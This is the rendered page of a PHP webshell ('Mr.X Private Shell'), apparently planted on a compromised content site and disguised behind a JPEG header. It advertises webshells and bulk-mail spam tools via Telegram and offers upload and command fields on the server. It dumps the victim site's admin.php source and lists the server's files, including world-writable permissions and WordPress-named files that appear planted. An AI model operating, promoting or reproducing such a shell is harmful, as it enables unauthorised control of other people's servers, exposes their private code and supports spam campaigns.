����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

njujpgyl@216.73.216.165: ~ $
<?php
// admin.php
require_once 'auth.php';
require_once 'xml_manager.php';
require_once 'content_manager.php';

Authentication::requireAuth();

$xmlManager = new XMLManager();
$contentManager = new ContentManager();

$success = '';
$error = '';

// Handle XML operations
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['xml_action']) && verifyCSRFToken($_POST['csrf_token'] ?? '')) {
    try {
        $action = $_POST['xml_action'];

        if ($action === 'add_area') {
            if ($xmlManager->addArea(
                $_POST['parent_slug'] ?? '',
                $_POST['name'] ?? '',
                $_POST['slug'] ?? '',
                $_POST['phone'] ?? '',
                $_POST['email'] ?? '',
                $_POST['priority'] ?? '2'
            )) {
                $success = "Area added successfully!";
            } else {
                $error = "Failed to add area!";
            }
        } elseif ($action === 'edit_area') {
            if ($xmlManager->editArea(
                $_POST['slug'] ?? '',
                $_POST['name'] ?? '',
                $_POST['phone'] ?? '',
                $_POST['email'] ?? '',
                $_POST['priority'] ?? '2'
            )) {
                $success = "Area updated successfully!";
            } else {
                $error = "Failed to update area!";
            }
        } elseif ($action === 'delete_area') {
            if ($xmlManager->deleteArea($_POST['slug'] ?? '')) {
                $contentManager->deleteContent($_POST['slug'] ?? '');
                $success = "Area deleted successfully!";
            }
        }
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

// Handle content operations
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_content']) && verifyCSRFToken($_POST['csrf_token'] ?? '')) {
    $content_data = [
        'city' => $_POST['city'] ?? '',
        'metaTitle' => $_POST['metaTitle'] ?? '',
        'metaDescription' => $_POST['metaDescription'] ?? '',
        'metaKeywords' => $_POST['metaKeywords'] ?? '',
        'mainheading' => $_POST['mainheading'] ?? '',
        'content1' => $_POST['content1'] ?? '',
        'content2' => $_POST['content2'] ?? '',
        'content3' => $_POST['content3'] ?? '',
        'content4' => $_POST['content4'] ?? '',
        'content5' => $_POST['content5'] ?? '',
        'content6' => $_POST['content6'] ?? '',
        'faqs' => []
    ];

    // Collect FAQs
    for ($i = 1; $i <= 8; $i++) {
        if (!empty($_POST["faq_question_{$i}"]) || !empty($_POST["faq_answer_{$i}"])) {
            $content_data['faqs'][] = [
                'question' => $_POST["faq_question_{$i}"] ?? '',
                'answer' => $_POST["faq_answer_{$i}"] ?? ''
            ];
        }
    }

    if ($contentManager->saveContent($_POST['slug'] ?? '', $content_data)) {
        $success = "Content saved successfully for " . ($_POST['city'] ?? '');
    } else {
        $error = "Failed to save content!";
    }
}

// Handle default content
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_default_content']) && verifyCSRFToken($_POST['csrf_token'] ?? '')) {
    $default_content_data = [
        'city' => $_POST['default_city'] ?? '',
        'metaTitle' => $_POST['default_metaTitle'] ?? '',
        'metaDescription' => $_POST['default_metaDescription'] ?? '',
        'metaKeywords' => $_POST['default_metaKeywords'] ?? '',
        'mainheading' => $_POST['default_mainheading'] ?? '',
        'content1' => $_POST['default_content1'] ?? '',
        'content2' => $_POST['default_content2'] ?? '',
        'content3' => $_POST['default_content3'] ?? '',
        'content4' => $_POST['default_content4'] ?? '',
        'content5' => $_POST['default_content5'] ?? '',
        'content6' => $_POST['default_content6'] ?? '',
        'faqs' => []
    ];

    // Collect default FAQs
    for ($i = 1; $i <= 8; $i++) {
        if (!empty($_POST["default_faq_question_{$i}"]) || !empty($_POST["default_faq_answer_{$i}"])) {
            $default_content_data['faqs'][] = [
                'question' => $_POST["default_faq_question_{$i}"] ?? '',
                'answer' => $_POST["default_faq_answer_{$i}"] ?? ''
            ];
        }
    }

    if ($contentManager->saveDefaultContent($default_content_data)) {
        $success = "Default content updated successfully!";
    } else {
        $error = "Failed to update default content!";
    }
}

// Get data for display
$all_areas = $xmlManager->getAllAreas();
$selected_slug = $_GET['area'] ?? (count($all_areas) > 0 ? array_key_first($all_areas) : 'delhi');
$selected_area = $xmlManager->findAreaBySlug($selected_slug);

// Load content
$current_content = $contentManager->loadContent($selected_slug);
$is_new_content = false;

if (!$current_content && $selected_area) {
    $is_new_content = true;
    $attributes = $selected_area->attributes();
    $area_name = (string)$attributes['name'] ?? '';
    
    // FIX: Create the hierarchical URL for the area
    $area_link = 'https://' . $selected_slug . '.delhigal.com';
    
    // Generate content with placeholders replaced
    $current_content = $contentManager->generateContentWithPlaceholders($area_name, $area_link);
}

$default_content = $contentManager->loadDefaultContent();

// Get area for editing
$edit_area = null;
if (isset($_GET['edit_area'])) {
    $edit_area = $xmlManager->findAreaBySlug($_GET['edit_area']);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Content & XML Management Admin</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.ckeditor.com/4.25.1-lts/standard/ckeditor.js"></script>
    <style>
    .sidebar {
        background: #f8f9fa;
        min-height: 100vh;
    }
    .area-list {
        max-height: 80vh;
        overflow-y: auto;
    }
    .area-item {
        padding: 8px 12px;
        border-bottom: 1px solid #dee2e6;
    }
    .area-item:hover {
        background: #e9ecef;
    }
    .area-item.active {
        background: #007bff;
        color: white;
    }
    .has-children {
        background-color: #fff3cd !important;
    }
    .child-count {
        font-size: 0.8em;
        color: #666;
    }
    .ck-editor__editable {
        min-height: 200px;
    }
    .new-content-badge {
        font-size: 0.7em;
        margin-left: 8px;
    }
    .faq-item {
        border: 1px solid #dee2e6;
        border-radius: 5px;
        padding: 15px;
        margin-bottom: 15px;
        background: #f8f9fa;
    }
    </style>
</head>
<body>
    <div class="container-fluid">
        <div class="row">
            <div class="col-sm-12">
                <div class="p-3 bg-primary text-white">
                    <h5>Admin Panel</h5>
                    <small>DelhiGal Content & XML Management</small>
                    <div class="mt-2">
                        <a href="logout.php" class="btn btn-sm btn-light">Logout</a>
                    </div>
                </div>
            </div>
            <!-- Sidebar -->
            <div class="col-md-3 sidebar p-0">
                
                <div class="p-3">
                    <h6>Select Area/City</h6>
                    <div class="area-list">
                        <?php if (count($all_areas) > 0): ?>
                            <?php foreach ($all_areas as $slug => $area_info): 
                                $has_content = $contentManager->contentFileExists($slug);
                            ?>
                                <div class="area-item <?php echo $slug === $selected_slug ? 'active' : ''; ?> <?php echo $area_info['has_children'] ? 'has-children' : ''; ?>">
                                    <a href="?area=<?php echo $slug; ?>&tab=<?php echo $_GET['tab'] ?? 'content'; ?>" class="<?php echo $slug === $selected_slug ? 'text-white' : 'text-dark'; ?> text-decoration-none">
                                        <?php echo htmlspecialchars($area_info['name']); ?>
                                        <?php if ($area_info['has_children']): ?>
                                            <span class="child-count">(has children)</span>
                                        <?php endif; ?>
                                    </a>
                                    <?php if ($has_content): ?>
                                        <span class="badge bg-success float-end">✓</span>
                                    <?php else: ?>
                                        <span class="badge bg-warning float-end new-content-badge">NEW</span>
                                    <?php endif; ?>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <div class="text-muted">No areas found. Add areas in XML Management.</div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>

            <!-- Main Content -->
            <div class="col-md-9">
                <div class="p-4">
                    <?php if ($success): ?>
                        <div class="alert alert-success"><?php echo htmlspecialchars($success); ?></div>
                    <?php endif; ?>
                    <?php if ($error): ?>
                        <div class="alert alert-danger"><?php echo htmlspecialchars($error); ?></div>
                    <?php endif; ?>

                    <!-- Debug Info for Link Replacement -->
                    <?php /* if ($is_new_content): ?>
                        <div class="alert alert-info">
                            <strong>Debug Info:</strong> 
                            City: <?php echo htmlspecialchars($area_name ?? ''); ?> | 
                            Link: <?php echo htmlspecialchars($area_link ?? ''); ?> | 
                            Placeholders should be replaced in the form below.
                        </div>
                    <?php endif; */ ?>

                    <!-- Navigation Tabs -->
                    <ul class="nav nav-tabs mb-4">
                        <li class="nav-item">
                            <a class="nav-link <?php echo !isset($_GET['tab']) || $_GET['tab'] === 'content' ? 'active' : ''; ?>" href="?area=<?php echo $selected_slug; ?>&tab=content">Content Management</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link <?php echo isset($_GET['tab']) && $_GET['tab'] === 'xml' ? 'active' : ''; ?>" href="?area=<?php echo $selected_slug; ?>&tab=xml">XML Management</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link <?php echo isset($_GET['tab']) && $_GET['tab'] === 'default' ? 'active' : ''; ?>" href="?area=<?php echo $selected_slug; ?>&tab=default">Default Content</a>
                        </li>
                    </ul>

                    <!-- Content Management Tab -->
                    <?php if (!isset($_GET['tab']) || $_GET['tab'] === 'content'): ?>
                        <?php if ($selected_area): ?>
                            <div class="d-flex justify-content-between align-items-center mb-3">
                                <h2>Edit Content: <?php echo htmlspecialchars($all_areas[$selected_slug]['name'] ?? $selected_slug); ?></h2>
                                <?php if ($is_new_content): ?>
                                    <span class="badge bg-warning">New Content - Pre-filled with Default Template</span>
                                <?php endif; ?>
                            </div>
                            
                            <?php /* if ($is_new_content): ?>
                                <div class="alert alert-info">
                                    <strong>Info:</strong> This is a new content area. The form has been automatically pre-filled with default content template. 
                                    Placeholders have been replaced with actual values from XML.
                                    <br><strong>City:</strong> <?php echo htmlspecialchars($area_name ?? ''); ?>
                                    <br><strong>Link:</strong> <?php echo htmlspecialchars($area_link ?? ''); ?>
                                </div>
                            <?php endif; */ ?>
                            
                            <form method="POST">
                                <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                                <input type="hidden" name="slug" value="<?php echo $selected_slug; ?>">

                                <div class="mb-3">
                                    <label class="form-label">City Name</label>
                                    <input type="text" name="city" class="form-control" value="<?php echo htmlspecialchars($current_content['city'] ?? ''); ?>" required>
                                    <small class="text-muted">Automatically filled from XML data</small>
                                </div>

                                <div class="mb-3">
                                    <label class="form-label">Meta Title</label>
                                    <input type="text" name="metaTitle" class="form-control" value="<?php echo htmlspecialchars($current_content['metaTitle'] ?? ''); ?>">
                                </div>

                                <div class="mb-3">
                                    <label class="form-label">Meta Description</label>
                                    <textarea name="metaDescription" class="form-control" rows="3"><?php echo htmlspecialchars($current_content['metaDescription'] ?? ''); ?></textarea>
                                </div>

                                <div class="mb-3">
                                    <label class="form-label">Meta Keywords</label>
                                    <input type="text" name="metaKeywords" class="form-control" value="<?php echo htmlspecialchars($current_content['metaKeywords'] ?? ''); ?>">
                                </div>

                                <div class="mb-3">
                                    <label class="form-label">Main Heading</label>
                                    <input type="text" name="mainheading" class="form-control" value="<?php echo htmlspecialchars($current_content['mainheading'] ?? ''); ?>">
                                </div>

                                <?php for ($i = 1; $i <= 6; $i++): ?>
                                    <div class="mb-3">
                                        <label class="form-label">Content Section <?php echo $i; ?></label>
                                        <textarea name="content<?php echo $i; ?>" class="form-control editor"><?php echo htmlspecialchars($current_content['content' . $i] ?? ''); ?></textarea>
                                    </div>
                                <?php endfor; ?>

                                <!-- FAQ Management Section -->
                                <div class="card mt-4">
                                    <div class="card-header bg-primary text-white">
                                        <h5 class="mb-0">FAQ Management</h5>
                                    </div>
                                    <div class="card-body">
                                        <?php for ($i = 1; $i <= 8; $i++): 
                                            $faq = $current_content['faqs'][$i-1] ?? ['question' => '', 'answer' => ''];
                                        ?>
                                            <div class="faq-item">
                                                <h6>FAQ <?php echo $i; ?></h6>
                                                <div class="mb-3">
                                                    <label class="form-label">Question</label>
                                                    <input type="text" name="faq_question_<?php echo $i; ?>" class="form-control" value="<?php echo htmlspecialchars($faq['question']); ?>" placeholder="Enter FAQ question">
                                                </div>
                                                <div class="mb-3">
                                                    <label class="form-label">Answer</label>
                                                    <textarea name="faq_answer_<?php echo $i; ?>" class="form-control" rows="3" placeholder="Enter FAQ answer"><?php echo htmlspecialchars($faq['answer']); ?></textarea>
                                                </div>
                                            </div>
                                        <?php endfor; ?>
                                    </div>
                                </div>

                                <div class="d-grid gap-2 d-md-flex justify-content-md-end mt-3">
                                    <button type="submit" name="save_content" value="1" class="btn btn-primary">Save Content</button>
                                    <a href="?area=<?php echo $selected_slug; ?>&tab=content" class="btn btn-secondary">Reset</a>
                                </div>
                            </form>
                        <?php else: ?>
                            <div class="alert alert-warning">Please select a valid area to edit content.</div>
                        <?php endif; ?>

                    <!-- XML Management Tab -->
                    <?php elseif ($_GET['tab'] === 'xml'): ?>
                        <div class="row">
                            <!-- Add/Edit Area Form -->
                            <div class="col-md-6">
                                <div class="card">
                                    <div class="card-header">
                                        <h5><?php echo isset($_GET['edit_area']) ? 'Edit Area' : 'Add New Area'; ?></h5>
                                    </div>
                                    <div class="card-body">
                                        <form method="POST">
                                            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                                            <?php if (isset($_GET['edit_area'])): ?>
                                                <input type="hidden" name="xml_action" value="edit_area">
                                                <input type="hidden" name="slug" value="<?php echo $_GET['edit_area']; ?>">
                                                <div class="mb-3">
                                                    <label class="form-label">Slug (URL)</label>
                                                    <input type="text" class="form-control" value="<?php echo $_GET['edit_area']; ?>" disabled>
                                                    <small class="text-muted">Slug cannot be changed when editing</small>
                                                </div>
                                            <?php else: ?>
                                                <input type="hidden" name="xml_action" value="add_area">
                                                <div class="mb-3">
                                                    <label class="form-label">Parent Area</label>
                                                    <select name="parent_slug" class="form-control" required>
                                                        <option value="">Select Parent Area</option>
                                                        <?php foreach ($all_areas as $slug => $area_info): ?>
                                                            <option value="<?php echo $slug; ?>"><?php echo htmlspecialchars($area_info['name']); ?></option>
                                                        <?php endforeach; ?>
                                                    </select>
                                                </div>
                                            <?php endif; ?>
                                            
                                            <div class="mb-3">
                                                <label class="form-label">Area Name</label>
                                                <input type="text" name="name" class="form-control" value="<?php echo $edit_area ? htmlspecialchars($edit_area['name']) : ''; ?>" required>
                                            </div>
                                            
                                            <?php if (!isset($_GET['edit_area'])): ?>
                                                <div class="mb-3">
                                                    <label class="form-label">Slug (URL)</label>
                                                    <input type="text" name="slug" class="form-control" required>
                                                    <small class="text-muted">Lowercase, hyphens instead of spaces (e.g., "new-area")</small>
                                                </div>
                                            <?php endif; ?>
                                            
                                            <div class="mb-3">
                                                <label class="form-label">Phone Number</label>
                                                <input type="text" name="phone" class="form-control" value="<?php echo $edit_area ? htmlspecialchars($edit_area['phone']) : ''; ?>" required>
                                                <small class="text-muted">For contact purposes (not shown on content pages)</small>
                                            </div>
                                            
                                            <div class="mb-3">
                                                <label class="form-label">Email</label>
                                                <input type="email" name="email" class="form-control" value="<?php echo $edit_area ? htmlspecialchars($edit_area['email']) : ''; ?>" required>
                                            </div>
                                            
                                            <div class="mb-3">
                                                <label class="form-label">Priority</label>
                                                <select name="priority" class="form-control" required>
                                                    <option value="1" <?php echo ($edit_area && $edit_area['priority'] == '1') ? 'selected' : ''; ?>>1 - High</option>
                                                    <option value="2" <?php echo ($edit_area && $edit_area['priority'] == '2') ? 'selected' : ''; ?>>2 - Medium</option>
                                                    <option value="3" <?php echo ($edit_area && $edit_area['priority'] == '3') ? 'selected' : ''; ?>>3 - Low</option>
                                                </select>
                                            </div>
                                            
                                            <button type="submit" class="btn btn-primary">
                                                <?php echo isset($_GET['edit_area']) ? 'Update Area' : 'Add Area'; ?>
                                            </button>
                                            <?php if (isset($_GET['edit_area'])): ?>
                                                <a href="?area=<?php echo $selected_slug; ?>&tab=xml" class="btn btn-secondary">Cancel</a>
                                            <?php endif; ?>
                                        </form>
                                    </div>
                                </div>
                            </div>

                            <!-- Areas List -->
                            <div class="col-md-6">
                                <div class="card">
                                    <div class="card-header">
                                        <h5>Manage Areas</h5>
                                    </div>
                                    <div class="card-body">
                                        <div class="area-list">
                                            <?php if (count($all_areas) > 0): ?>
                                                <?php foreach ($all_areas as $slug => $area_info): 
                                                    $area_node = $xmlManager->findAreaBySlug($slug);
                                                    $is_root = in_array($slug, ['delhi', 'ncr']);
                                                    $has_children = $area_info['has_children'];
                                                    $can_delete = !$is_root && !$has_children;
                                                    $has_content = $contentManager->contentFileExists($slug);
                                                ?>
                                                    <div class="area-item d-flex justify-content-between align-items-center <?php echo $has_children ? 'has-children' : ''; ?>">
                                                        <div>
                                                            <span><?php echo htmlspecialchars($area_info['name']); ?></span>
                                                            <?php if ($has_children): ?>
                                                                <small class="child-count">(has children)</small>
                                                            <?php endif; ?>
                                                            <?php if (!$has_content): ?>
                                                                <small class="text-warning"> • No content</small>
                                                            <?php endif; ?>
                                                        </div>
                                                        <div>
                                                            <a href="?area=<?php echo $selected_slug; ?>&tab=xml&edit_area=<?php echo $slug; ?>" class="btn btn-sm btn-warning">Edit</a>
                                                            <?php if ($can_delete): ?>
                                                                <form method="POST" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this area?')">
                                                                    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                                                                    <input type="hidden" name="xml_action" value="delete_area">
                                                                    <input type="hidden" name="slug" value="<?php echo $slug; ?>">
                                                                    <button type="submit" class="btn btn-sm btn-danger">Delete</button>
                                                                </form>
                                                            <?php else: ?>
                                                                <button class="btn btn-sm btn-secondary" disabled title="<?php echo $is_root ? 'Cannot delete root areas' : 'Cannot delete areas with children'; ?>">Delete</button>
                                                            <?php endif; ?>
                                                        </div>
                                                    </div>
                                                <?php endforeach; ?>
                                            <?php else: ?>
                                                <div class="text-muted">No areas found. Add your first area above.</div>
                                            <?php endif; ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                    <!-- Default Content Tab -->
                    <?php elseif ($_GET['tab'] === 'default'): ?>
                        <h2>Edit Default Content</h2>
                        <p class="text-muted">This content will be used when a specific area content file doesn't exist. Use placeholders: <code>{city}</code>, <code>{link}</code></p>
                        <form method="POST">
                            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                            
                            <div class="mb-3">
                                <label class="form-label">Default City Name</label>
                                <input type="text" name="default_city" class="form-control" value="<?php echo htmlspecialchars($default_content['city'] ?? ''); ?>" required>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Default Meta Title</label>
                                <input type="text" name="default_metaTitle" class="form-control" value="<?php echo htmlspecialchars($default_content['metaTitle'] ?? ''); ?>">
                                <small class="text-muted">Use <code>&lt;city&gt;</code> placeholder for city name</small>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Default Meta Description</label>
                                <textarea name="default_metaDescription" class="form-control" rows="3"><?php echo htmlspecialchars($default_content['metaDescription'] ?? ''); ?></textarea>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Default Meta Keywords</label>
                                <input type="text" name="default_metaKeywords" class="form-control" value="<?php echo htmlspecialchars($default_content['metaKeywords'] ?? ''); ?>">
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Default Main Heading</label>
                                <input type="text" name="default_mainheading" class="form-control" value="<?php echo htmlspecialchars($default_content['mainheading'] ?? ''); ?>">
                            </div>
                            
                            <?php for ($i = 1; $i <= 6; $i++): ?>
                                <div class="mb-3">
                                    <label class="form-label">Default Content Section <?php echo $i; ?></label>
                                    <textarea name="default_content<?php echo $i; ?>" class="form-control editor"><?php echo htmlspecialchars($default_content['content' . $i] ?? ''); ?></textarea>
                                    <small class="text-muted">Use placeholders: <code>{city}</code>, <code>{link}</code></small>
                                </div>
                            <?php endfor; ?>

                            <!-- Default FAQ Management Section -->
                            <div class="card mt-4">
                                <div class="card-header bg-primary text-white">
                                    <h5 class="mb-0">Default FAQ Management</h5>
                                    <small>Use <code>{city}</code> and <code>{link}</code> placeholders in FAQ questions and answers</small>
                                </div>
                                <div class="card-body">
                                    <?php for ($i = 1; $i <= 8; $i++): 
                                        $faq = $default_content['faqs'][$i-1] ?? ['question' => '', 'answer' => ''];
                                    ?>
                                        <div class="faq-item">
                                            <h6>FAQ <?php echo $i; ?></h6>
                                            <div class="mb-3">
                                                <label class="form-label">Question</label>
                                                <input type="text" name="default_faq_question_<?php echo $i; ?>" class="form-control" value="<?php echo htmlspecialchars($faq['question']); ?>" placeholder="Enter FAQ question">
                                            </div>
                                            <div class="mb-3">
                                                <label class="form-label">Answer</label>
                                                <textarea name="default_faq_answer_<?php echo $i; ?>" class="form-control" rows="3" placeholder="Enter FAQ answer"><?php echo htmlspecialchars($faq['answer']); ?></textarea>
                                            </div>
                                        </div>
                                    <?php endfor; ?>
                                </div>
                            </div>
                            
                            <button type="submit" name="save_default_content" value="1" class="btn btn-primary mt-3">Save Default Content</button>
                            <a href="?area=<?php echo $selected_slug; ?>&tab=default" class="btn btn-secondary">Reset</a>
                        </form>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>

    <script>
    // CKEditor Initialization
    document.addEventListener('DOMContentLoaded', function() {
        initializeCKEditors();
    });

    function initializeCKEditors() {
        if (typeof CKEDITOR === 'undefined') {
            console.error('CKEditor is not loaded!');
            return;
        }

        const editorElements = document.querySelectorAll('textarea.editor');
        
        editorElements.forEach((textarea) => {
            if (CKEDITOR.instances[textarea.name]) {
                CKEDITOR.instances[textarea.name].destroy(true);
            }

            try {
                CKEDITOR.replace(textarea, {
                    toolbar: [
                        ['Bold', 'Italic', 'Underline', 'Strike', '-', 'RemoveFormat'],
                        ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent'],
                        ['Link', 'Unlink'],
                        ['Image', 'Table', 'HorizontalRule'],
                        ['Source']
                    ],
                    height: 250
                });
            } catch (error) {
                console.error('Failed to initialize editor: ', error);
            }
        });
    }

    // Reinitialize editors when switching tabs
    document.addEventListener('click', function(e) {
        if (e.target.classList.contains('nav-link')) {
            setTimeout(initializeCKEditors, 100);
        }
    });
    </script>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Filemanager

Name Type Size Permission Actions
.well-known Folder 0777
cache Folder 0777
content Folder 0777
content1 Folder 0777
image Folder 0777
.ftpquota File 12 B 0666
.htaccess File 197 B 0444
404.php File 1.31 KB 0666
admin.php File 35.14 KB 0666
android-chrome-192x192.png File 78.08 KB 0666
android-chrome-512x512.png File 378.8 KB 0666
apple-touch-icon.png File 69.97 KB 0666
arealist.xml File 13.18 KB 0666
auth.php File 884 B 0666
cache.php File 948 B 0666
config.php File 1.61 KB 0666
content_manager.php File 11.84 KB 0666
delhigal.zip File 6.82 MB 0644
error_log File 778 B 0666
favicon-16x16.png File 977 B 0666
favicon-32x32.png File 3.26 KB 0666
favicon.ico File 15.04 KB 0666
frontpage.php File 113.04 KB 0666
google2fabcdaeda4836e4.html File 53 B 0666
index.php File 1.62 KB 0666
index1.html File 0 B 0666
index1.php File 1.63 KB 0666
login.php File 2.28 KB 0666
logout.php File 73 B 0666
robots.txt File 25 B 0666
site.webmanifest File 272 B 0666
sitemap.xml File 501 B 0666
style.css File 27.09 KB 0666
template.php File 93.07 KB 0666
wp-blog-header.php File 2.74 KB 0644
wp-cron.php File 2.74 KB 0644
xml_manager.php File 4.17 KB 0666